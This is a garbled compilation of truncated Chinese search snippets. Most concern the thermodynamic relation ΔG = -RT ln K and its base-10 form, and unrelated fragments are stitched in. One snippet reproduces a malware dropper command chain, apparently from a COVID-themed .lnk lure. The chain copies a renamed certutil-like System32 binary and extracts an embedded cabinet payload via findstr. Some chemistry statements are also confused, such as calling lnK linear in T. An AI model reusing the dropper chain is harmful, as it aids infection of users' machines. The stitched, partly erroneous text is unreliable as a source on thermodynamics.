Δ G = -RTln K与ln K=-(Δ G)/(RT)的深度剖析。 公式来源:该公式是由化学热力学理论推导得出,它是联系化学反应的热力学性质和平衡性质的重要桥梁。从热力学第二定律出发,通过对系统的熵变、焓变等概念的综合考虑,结合等温等压条件,最终推导出了Δ G = -RTln K这一关系式。 Δ G与反应方向和限度:Δ...
弄错了.正确的两个公式为G=-RT ln K ,G=-2.303RT lg K注意到,上面是,ln K下面是,lg K用换底公式进行了一个转化,ln10=2.303lgK=lnK/ln10 ln是以e为底的自然对数,e=2.71828lg是以10为底的对数结果一 题目 为什么 G=-2.303RT lnK不是G=-RT lnK 答案 弄错了.正确的两个公式为G=-RT ln K ,G...
结果一 题目 【题目】反应速率常数对数lnk和温度倒数1/t作图所得的直线发生弯折原因 答案 【解析】G=-RT lnK,得到 lnk=-G/R*1/T .随著T的变化,G也在变化,也就是说-G/R不是定值,所以不是一次函数.相关推荐 1【题目】反应速率常数对数lnk和温度倒数1/t作图所得的直线发生弯折原因 反馈 收藏 ...
有个问题,放热熵增反..恭喜你发现了华点这是因为ΔG跟K并没有单调的函数关系,把ΔG=-RTlnK,ΔG=ΔH-TΔS联立,可以得到lnK=-ΔH/RT+ΔS/R,因此可以直观的看出,T和lnK是线性关系,ΔH的正负直接决定是递增还是递减,
一种是G=-RT ln K，其中ln K是以自然对数e为底的对数；另一种是G=-2.303RT lg K，其中lg K是以10为底的对数。两者之间的区别在于对数的底数不同。自然对数ln K是以数学常数e（约等于2.71828）为底，而对数lg K是以10为底。为了理解这两个公式之间的关系，可以使用换底公式进行转化。换...
/c 复制“20200308-sitrep-48-covid-19.pdf.lnk”%tmp%\g4ZokyumBB2gDn.tmp /y& 对于/r C:\Windows\System32\ %i in (*ertu*.exe) 复制 %i %tmp%\msoia.exe /y& findstr.exe "TVNDRgAAAA" %tmp%\g4ZokyumBB2gDn.tmp>%tmp%\cSi1r0uywDNvDu.tmp&%tmp%\ ...
整机白色调，橙黄色 RGB （R255，G80，B0）灯效点缀。以下为主机各角度展示。机箱主板侧展示。高透...
之前, 到底是在 G*THUB 还是 STACK*VERFL*W 得到的启发, 俺已经记不清了。 希望这点滴的走弯路的经验能让读者少走弯路。 比如俺在 Toby Opferman 的帖子里面就能感受到他启发后人的古道热肠。 只可惜俺连半桶水都没有, 只能现炒现卖了。 Toby Opferman ...
计算平衡常数时，在使用公式K=e^(-ΔG/RT)时，ΔG一般是通过化学反应的标准生成焓（ΔH）和标准熵（ΔS）计算得出的。而计算ΔG时，通常会使用自由能公式ΔG = -RTlnK。因此，在计算平衡常数时，需要把lnK换成lgK的情况是非常少见的。大多数情况下，计算平衡常数时都是用lnK，而非lgK。唯一需要...
在温度为T时,某化学反应的H<0,S>0,则该反应的平衡常数K大于1且随温度升高而减小.这样想为什么不对,G=-RTlnK=H-TS 则ln K=S/R-H/RT T增大,K增大 谢谢! 21 .lnk(k为反应速率常数)随T的变化率与T2成反比,为什么.2 .在温度为T时,某化学反应的H<0,S>0,则该反应的平衡常数K大于1且随温度升高...